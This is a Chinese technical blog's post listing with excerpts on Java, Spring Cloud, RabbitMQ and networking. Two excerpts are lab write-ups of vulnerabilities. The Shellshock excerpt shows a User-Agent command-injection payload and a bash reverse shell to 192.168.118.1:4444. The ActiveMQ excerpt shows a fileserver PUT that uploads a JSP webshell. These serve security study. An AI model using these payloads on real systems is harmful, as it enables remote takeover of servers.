自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(75)
  • 收藏
  • 关注

原创 电商项目第一天:项目搭建(续)

控制层:BrandControllerpackage com.changgou.goods.controller;import com.changgou.entity.Result;import com.changgou.entity.StatusCode;import com.changgou.goods.pojo.Brand;import com.changgou.goods.service.BrandService;import com.github.pagehelper.PageInf

2021-12-02 23:43:26 281

原创 电商项目第一天:项目搭建(SpringCloud)

项目结构ChangGou-common:设置实体类和工具类ChangGou-common-db:持久层ChangGou-eureka:注册中心ChangGou-service / ChangGou-service-goods:处理请求响应ChangGou-service-api / ChangGou-service-goods-api:给上面一位提供pojo父工程pom.xml<?xml version="1.0" encoding="UTF-8"?><projec

2021-12-02 23:41:49 806

原创 RabbitMQ可靠性消息投递

已有父工程pom.xml<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apac

2021-11-30 16:44:52 1164

原创 Bash(shellshock)

影响漏洞影响:GNU Bash <= 4.3启动服务器搭建:docker-compose up -d查看:docker-compose ps抵达网站抓包拦截User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);反弹shell:User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.118.1/4444 0>&1;...

2021-11-30 14:23:57 279

原创 SpringBoot整合RabbitMQ

结构父工程:RabbitMQpom.xml<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http:/

2021-11-29 23:42:48 864

原创 RabbitMQ工作模式

提供者:RabbitProviderpackage com.example.RabbitWork;import com.rabbitmq.client.Channel;import com.rabbitmq.client.Connection;import java.io.IOException;import java.util.concurrent.TimeoutException;public class RabbitProvider { public static void

2021-11-29 17:54:27 106

原创 RabbitMQ订阅模式

工具类:RabbitMQUtilspackage com.example.ExchangeRabbit;import com.rabbitmq.client.Connection;import com.rabbitmq.client.ConnectionFactory;import java.io.IOException;import java.util.concurrent.TimeoutException;public class RabbitMQUtils { public

2021-11-29 17:21:31 1971

原创 RabbitMQ

pom.xml<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org

2021-11-29 16:21:50 732

原创 ActiveMQ

CentOS启动dockercd 到 ActiveMQ 目录启动:docker-compose up -d查看:docker-compose ps抵达网站点击Manage ActiveMQ brocker用户名:admin密码:adminActiveMQ管理页面刷新抓包左上角小框处:PUT /fileserver/text.txt HTTP/1.1载入下面的shellcode()<% if("023".equals(request.getParamete

2021-11-29 13:58:09 153

原创 SpringCloud简单搭建(Erueka、Feign、Gateway)

父工程:SpringCloud配置文件 pom.xml<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 h

2021-11-26 22:12:59 647 1

原创 SpringCloud(始)

SpringCloud是基于SprigBoot开发的,是一系列框架的有序集合注册中心Eureka、consul、Zookeeper负载均衡Ribbon熔断器Hystrix服务通信Feign网关gateway配置中心config消息总线BusSpringCloud与SpringBoot版本匹配关系SpringBootSpringCloud1.2.xAngel版本1.3.xBrixton版本1.4

2021-11-26 16:07:32 527

原创 java 会话技术

打开浏览器,访问网站地址后,会话开始,浏览器关闭,会话结束在java EE中,会话管理分为两类,客户端会话技术和服务端会话技术客户端会话技术把要共享的数据保存到了客户端,每次请求时,把会话信息带到服务器,从而实现多次请求的数据共享服务端会话技术本质仍是客户端会话管理技术,只不过保存到客户端的是一个特殊的标识,并且把要共享的数据保存到了服务端的内存对象中。每次请求时,把这个标识带到服务器端,然后使用这个标识,找到对应的内存空间,从而实现数据共享Cookie是客户端浏览器的缓存文件,里面记录了客户

2021-10-18 19:06:49 117

原创 java 响应对象

响应,表示了服务器收到了请求,处理完成后,把处理的结果告知用户响应对象也是Servlet规范中定义的,它包括了协议无关的和协议相关的协议无关对象:ServletResponse接口协议相关对象:HttpServletResponse接口状态码状态码说明200执行成功302它和307一样,都是用于重定向的状态码。只是307目前已不再使用304请求资源未改变,使用缓存400请求错误。最常见的就是请求参数有问题404请求资源未找到405请求方

2021-10-18 18:52:18 223

原创 JavaEE Request

请求对象用于发送请求的对象常用ServletRequest和HttpServletRequest,区别在于是否和HTTP协议有关小示例前端页面代码<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>学生管理系统</title></head><body><form action="/ad

2021-10-15 20:01:14 128

原创 Java 动态代理小示例(官方自带,基于接口)

目录写一个类package Proxy;public class Son implements IWork{ public void work(){ System.out.println("儿子你在工作"); }}写一个接口,让Son类实现接口package Proxy;public interface IWork { public void work();}写一个代理类,代理Sonpackage Proxy;import java

2021-10-13 16:53:55 117

原创 java 自定义注解小示例

目录结构自定义一个注解类package Annotation;import java.lang.annotation.ElementType;import java.lang.annotation.Retention;import java.lang.annotation.RetentionPolicy;import java.lang.annotation.Target;//元注解(注解注解的注解)@Target(ElementType.TYPE)//定义该注解类注解的位置@Ret

2021-10-13 16:45:11 190

原创 java反射,模拟解析字符串数据

字符串数据将上面的字符串数据解析并封装Girl类public class Girl { private String name; private int age; private Date birthday; public Girl() { } public Girl(String name, int age, Date birthday) { this.name = name; this.age = age;

2021-10-05 21:08:28 169

原创 java小游戏之扑克牌

思路1、组装一副牌2、在遍历组装好的扑克牌前先把大小王存储起来3、打乱扑克牌的顺序4、遍历扑克牌5、首先把三张底牌抽取出来存储6、依次给三个玩家发牌7、看牌组装前的准备工作 //存储牌和索引 Map<Integer,String> poker = new HashMap<>(); //存储纸牌索引 List<Integer> pokerIndex = new ArrayList<&gt

2021-10-03 14:48:50 498

原创 java实现字符统计

思路1、把字符串转成字符数组2、遍历字符数组3、判断每个字符字符串String str = "a b cA B CD<>?</";转成字符数组char[] chars = str.toCharArray();定义四个int类型的计数器//统计a-z的个数int azCount = 0;//统计A-Z的个数int AZCount = 0;//统计其他字符的个数int charCount = 0;//统计空格的个数int empty = 0;遍历字

2021-10-03 13:20:06 1003

原创 因特网控制协议 ICMP

Internet控制报文协议ICMP(Internet Control Message Protocol)是网络层的一个重要协议,ICMP 协议用来在网络设备间传递各种差错和控制信息,他对于收集各种网络信息、诊断和排除各种网络故障具有至关重要的作用用于测试网络可达性使用ping、tracert等命令调用命令说明Ping测试网络连通性tracert显示经过的路径ping 常见问题1、成功:对方成功回响2、超时:对方主机不在线、屏蔽(不在线,有对方MAC地址缓存,

2021-10-02 13:33:19 268

原创 java NIO实现聊天室

服务端import java.io.IOException;import java.net.InetSocketAddress;import java.nio.ByteBuffer;import java.nio.channels.*;import java.util.Iterator;import java.util.Scanner;import java.util.Set;public class ChatServer { public ChatServer(){

2021-10-02 13:01:09 134

原创 java socket聊天室

服务端import javax.naming.ldap.SortKey;import java.io.IOException;import java.net.DatagramSocket;import java.net.ServerSocket;import java.net.Socket;import java.net.SocketException;import java.util.Scanner;public class Server_Chat { private Serv

2021-10-02 12:49:14 150

原创 单播(Unicast),组播(Multicast),广播(Broadcast)

根据目标地址判断类型说明单播Unicast 发送给单个设备(明确目标地址)广播Brodcast发送给所属广播域内的所有设备(目标地址不明确)MAC地址全F,IP地址全1组播Multicast 发送给一组目标,MAC地址为01-00-5e,IP地址为D类接收规则如果是单播帧,会比较目的MAC是否一致如果是广播帧,会接收处理(收到了不一定会回复)组播只会给需要该数据的设备冲突和广播类型说明冲突(Collision)多个设备如果连接都是

2021-10-01 12:16:06 967

原创 IP地址(IP Address)

IP Address在网络中,通信节点都需要一个IP地址以点分十进制表示,有32位二进制构成(大约43亿)分为两个部分:网络位和主机位网络位:代表IP地址所属的网段主机位:代表网点上的某个节点由子网掩码决定"分界点"IP地址分类:IP地址分为A,B,C,D,E五类地址能够被主机使用的地址:A,B,C(单播地址)只能用作目的的地址:D(组播地址)特殊用途的地址0.0.0.0:任意地址,用于配置默认路由127.0.0.0:环回地址,用于测试本地的TCP/IP协议栈是否正常169.25

2021-09-30 20:29:39 5538

原创 动态路由(routing-dynamic)

静态路由与动态路由的比较静态路由:不能及时根据网络变化而自适应动态路由:及时根据网络变化而自适应路由协议的概述路由器之间的交互的一种语言共享路由信息维护路由器、提供最佳转发路径路由协议类型分类:根据作用范围类型备注IGP内部网关协议(Interior gateway protocol)用于一个AS内部交互路由信息(RIP、OSPF、ISIS、EIGRP)EGP外部网关路由协议(Exterior gateway protocol)用于不同AS之间交互路由信息(BG

2021-09-30 11:27:38 788

原创 静态路由(route-static)

静态路由是由管理员手动配置和维护的路由因为配置简单,所以被广泛应用于网络中静态路由还可以实现负载均衡和路由备份静态路由概述1、配置简单,开销小2、通过手动配置进行添加和维护3、无法根据拓扑的变化而自适应4、适用于组网规模较小的场景,在大型网络环境,则配置及维护成本很高5、在大型网络中,往往采用动,静结合的方式部署网络静态路由配置命令命令说明Ip route-static 目标网络 子网掩码/前缀 下一跳/出接口配置静态路由注意:在以太网链路中,必须指定下一跳,

2021-09-29 08:40:43 9788

原创 路由基础(Route)

路由技术是Internet得以持续运行的关键常用名词术语备注路由(routing)从源地址到目的地址,不同网络间的转发过程路由表(routing table)路由信息的集合,路由的依据路由器(router)具有路由功能的设备默认网关(default gateway)通过是路由设备的接口 IP地址IP路由过程、路由器收到数据包检测路由表中是否存在能够去往目的地的 IP 地址转发过程中是逐跳转发“并不会引导其他路由器转发”路由器转发数据包路由

2021-09-28 14:11:59 295

原创 TCP/IP五层模型-应用层

应用层是TCP/IP模型的最高层直接为应用程序提供网络服务常用的应用层协议:1、DNS2、HTTP3、SMTP和POP3 / IMAP4、Telnet 和 SSH5、FTP 和 TFTPDNS:Domain Name System 域名解析系统1、建立IP地址与域名关系2、将域名解析为IP地址3、将IP地址解析为域名每一次访问域名,都会向DNS服务器查询,DNS服务器进行响应,完成目的地址的封装DNS大致分为请求报文 request 和响应报文 relay好用的 DNS

2021-09-28 08:59:00 2374

原创 网络模型(OSI)

OSI开放式互联参考模型OSI未被广泛认可原因:层次太多麻烦复杂分层模型-TCP/IP(4层模型)分层模型-TCP/IP(5层模型)网络排错思想:从下层到上层,从上层到下层数据封装和解封装应用数据需要经过逐层处理后才能通过网络传递给对方OSI把每层数据称为PDU(protocol data unit 协议数据单元)TCP/IP根据不同层分别使用段(segment),包(packet),帧(frame),比特(bit)发送者逐层向下传递数据,并添加报头和报尾的过程称为封装反之为拆包

2021-09-27 14:31:23 1103

原创 java leetcode题 图像渲染

给一副二维整数数组图像渲染这里也可以用沉岛思想判断一个位置的上下左右是否是新的颜色,是则换成旧的 public int[][] floodFill(int[][] image, int sr, int sc, int newColor) { int a = image[sr][sc]; if(a != newColor){ search(image,sr,sc,a,newColor); } return

2021-09-27 09:05:44 103

原创 2021-09-27

漏洞危害决定漏洞等级高危漏洞:1、SQL注入2、文件上传3、文件包含4、代码执行5、未授权访问6、命令执行影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限丢失都为高危漏洞中危漏洞1、 反序列化2、逻辑安全低危漏洞1、XSS跨站2、目录遍历3、文件读取影响网站的源码,网站部分账号密码...

2021-09-27 08:17:59 921

原创 java 链表的中间值 leetcode算法题

给定一个头结点为 head 的非空单链表,返回链表的中间结点。如果有两个中间结点,则返回第二个中间结点示例1,2,3,4,5,6,7,8,9 返回51,2,3,4,5,6 返回4方法一:用数组1、遍历链表2、将每个元素存进数组3、数组长度/2的索引就是中间节点public ListNode middleNode{ ListNode[] arr = new ListNode[100]; int i = 0;

2021-09-26 19:30:33 112

原创 java 岛屿的最大面积(沉岛方法) leetcode题

输入:grid = [[0,0,1,0,0,0,0,1,0,0,0,0,0],           [0,0,0,0,0,0,0,1,1,1,0,0,0],           [0,1,1,0,1,0,0,0,0,0,0,0,0],    

2021-09-26 14:38:07 162

原创 javaSE实现文件上传下载操作

文件的上传下载要保证文件的完整性,所以采用TCP连接TCP连接是面向连接的、稳定的、安全的传输协议,在OSI的网络层用户信息类用户上传文件和下载文件,服务器需要获取用户的信息,这个信息可以封装成用户类public class HostsMsg { private String ip; private int port; private String hostname; public HostsMsg(String ip, int port, String host

2021-09-26 14:24:06 262

原创 java网络编程

TCP(Transmission Control Protocol)传输控制协议,是一种面向连接的,可靠的,基于字节流的传输层通信协议,TCP层位于IP层之上,应用层之下的中间层。TCP保障了两个应用程序之间的可靠通信。通常用于互联网协议,被称为TCP / IPUDP(User Datagram Protocol)用户数据报协议,位于OSI模型的传输层。一个无连接的协议。提供了应用程序之间要发送数据的数据报。由于UDP缺乏可靠性且属于无连接协议,所以应用程序通信必须容许一些丢失,错误或重复的数据包D

2021-09-24 12:37:58 72

原创 加密编码算法

在web中,常见的密码吗等信息会采用加密处理常见的加密编码算法MD5、SHA、ASC、进制、时间戳、URL、BASE64、Unescape、AES、DES等MD5 (不可逆):16位和32位,加密密文字符串由 A-Z ,0-9 随机分配,80%网站管理员或用户密码采取MD5加密SHA (不可逆):由 A-Z,0-9随机组合,SHA1,SHA256,SHA384,SHA512 长度固定进制:碰上的机会不是很大时间戳:网站或者服务器脚本语言里经常会用到,会在数据库里用户登录和注销,注册里会使用U

2021-09-24 08:18:40 402

原创 系统及数据库

除去搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方软件平台等操作系统层面1、通过网站或通过扫描相关软件识别2、大小写对网页没有影响,这种情况就可以认定为 windows 服务器,因为 windows 服务器不区分大小写3、通过 TTL 来判断服务器系统,相邻的值来判断简要两者区别及识别意义网站路径、大小写、文件在两个系统之间的适用性,兼容性操作系统层面漏洞类型对应意义漏洞类型的不同会造成利用这个漏洞时的条件简要操作系统层面漏洞影响范围利用漏洞去获取权限或者对某些

2021-09-23 19:52:35 97

原创 Web源码扩展

Web源码在安全测试中是非常重要的信息来源,可以用来代码审计漏洞也可以用来做信息突破口,其中 Web 源码有很多技术需要简明分析。知识点1、index.php 根据文件后缀判定2、admin 网站后台路径3、data 数据相关目录4、install 安装目录5、member 会员目录6、template 模板目录(和网站相关的整体架构)关于Web源码应用分类社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞开源,未开源问题,框架非框架问题,关于CMS识别问题及后续等拿到对方的源

2021-09-23 19:08:55 249

原创 java并发工具类

Hashtable出现的原因:      在集合类中HashMap是比较常用的集合对象,但是HashMap是线程不安全的(多线程环境下可能会存在问题),为了保证数据的安全性,可以使用Hashtable,但是Hashtable的效率底下,因为Hashtable底层代码是同步方法,当锁的时候是锁一整张table示例代码public class HashMapAndTable { public static void main(Stri

2021-09-23 18:27:39 95

原创 网络数据包扩展

HTTP/HTTP5具体区别HTTP5具有加密,在访问速度上HTTP5要慢HTTP通信过程1、浏览器建立与web服务器之间的连接2、浏览器将请求数据打包(生成请求数据包)并发送到web服务器3、web服务器将处理结果打包(生成相应数据包)并发送给浏览器4、web服务器关闭连接Request请求数据包数据格式1、请求行:请求类型/请求资源路径、协议的版本和类型      请求行由三个标记组成:请求方法、请求URL和HTTP版本(空

2021-09-23 15:32:48 126

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除